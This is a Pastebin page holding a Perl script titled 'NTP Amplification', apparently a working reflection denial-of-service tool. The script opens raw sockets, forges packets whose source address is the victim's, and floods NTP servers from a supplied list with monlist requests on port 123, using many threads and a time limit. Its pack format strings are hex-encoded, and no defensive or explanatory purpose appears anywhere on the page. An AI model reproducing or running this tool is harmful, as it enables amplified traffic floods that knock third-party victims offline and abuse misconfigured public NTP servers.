ItzStaze

NTP Amplification

Dec 18th, 2015
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.63 KB | None | 0 0
  1. use threads;
  2. use Socket;
  3.  
  4. my $num_of_threads = $ARGV[5];
  5. my $target = $ARGV[0];
  6. my $udp_src_port = $ARGV[1];
  7. my $time = $ARGV[2];
  8. #Open Input List.
  9. my $openme = $ARGV[3];
  10. open my $handle, '<', $openme;
  11. chomp(my @servers = <$handle>);
  12. close $handle;
  13. my $ppr = $ARGV[4];
  14. my @threads = initThreads();
  15. print "I guess im attacking $target for $time seconds with $num_of_threads threads\n";
  16.  
  17. #Does the list exist?
  18. if (-e $openme) {
  19.         print "Using $openme as list.\n";
  20. }
  21. unless (-e $openme) {
  22.         print "List does not exist.\n";
  23. exit();
  24. }
  25.  
  26. #Start Threading
  27. foreach(@threads){
  28.                 $_ = threads->create(\&attackshit);
  29. }
  30. foreach(@threads){
  31.         $_->join();
  32. }
  33. sub initThreads{
  34.         my @initThreads;
  35.         for(my $i = 1;$i<=$num_of_threads;$i++){
  36.                 push(@initThreads,$i);
  37.         }
  38.         return @initThreads;
  39. }
  40.  
  41.  
  42. #Start DDosing.
  43. sub attackshit{
  44.  
  45. alarm("$time");
  46. repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4];
  47. my $ip_src = ( gethostbyname($target) )[4];
  48. socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!;
  49. setsockopt( RAW, 0, 1, 1 );
  50. main();
  51.  
  52. sub main {
  53.     my $packet;
  54.     $packet = ip_header();
  55.     $packet .= udp_header();
  56.     $packet .= payload();
  57.                 #send_packet($packet) && goto repeat;
  58.                 #send_packet($packet)
  59. for (1 .. $ppr) {
  60.         send_packet($packet) or last;
  61.         }
  62. goto repeat;
  63. }
  64.  
  65. sub ip_header {
  66.     my $ip_ver  = 4;
  67.     my $ip_header_len  = 5;
  68.     my $ip_tos  = 0;
  69.     my $ip_total_len   = $ip_header_len + 20;
  70.     my $ip_frag_id  = 0;
  71.     my $ip_frag_flag   = "\x30\x31\x30";
  72.     my $ip_frag_offset = "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";
  73.     my $ip_ttl  = 255;
  74.     my $ip_proto  = 17;
  75.     my $ip_checksum    = 0;
  76.     my $ip_header  = pack(
  77. "\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34",
  78.   $ip_ver . $ip_header_len,  $ip_tos,
  79.   $ip_total_len,  $ip_frag_id,
  80.   $ip_frag_flag . $ip_frag_offset, $ip_ttl,
  81.   $ip_proto,  $ip_checksum,
  82.   $ip_src,  $ip_dst
  83.     );
  84.     return $ip_header;
  85. }
  86.  
  87. sub udp_header {
  88.     my $udp_dst_port = 123;
  89.     my $udp_len  = 8 + length( payload() );
  90.     my $udp_checksum = 0;
  91.     my $udp_header   = pack( "\x6E\x20\x6E\x20\x6E\x20\x6E",
  92.   $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum );
  93.     return $udp_header;
  94. }
  95.  
  96. sub payload {
  97.     my $data = "\x17\x00\x03\x2a" . "\x00" x 4;
  98.     my $payload = pack( "\x61" . length($data), $data );
  99.     return $payload;
  100. }
  101.  
  102. sub send_packet {
  103.     send( RAW, $_[0], 0,
  104.   pack( "\x53\x6E\x61\x34\x78\x38", AF_INET, 60, $ip_dst ) );
  105. }
  106.  
  107. }
Add Comment
Please, Sign In to add comment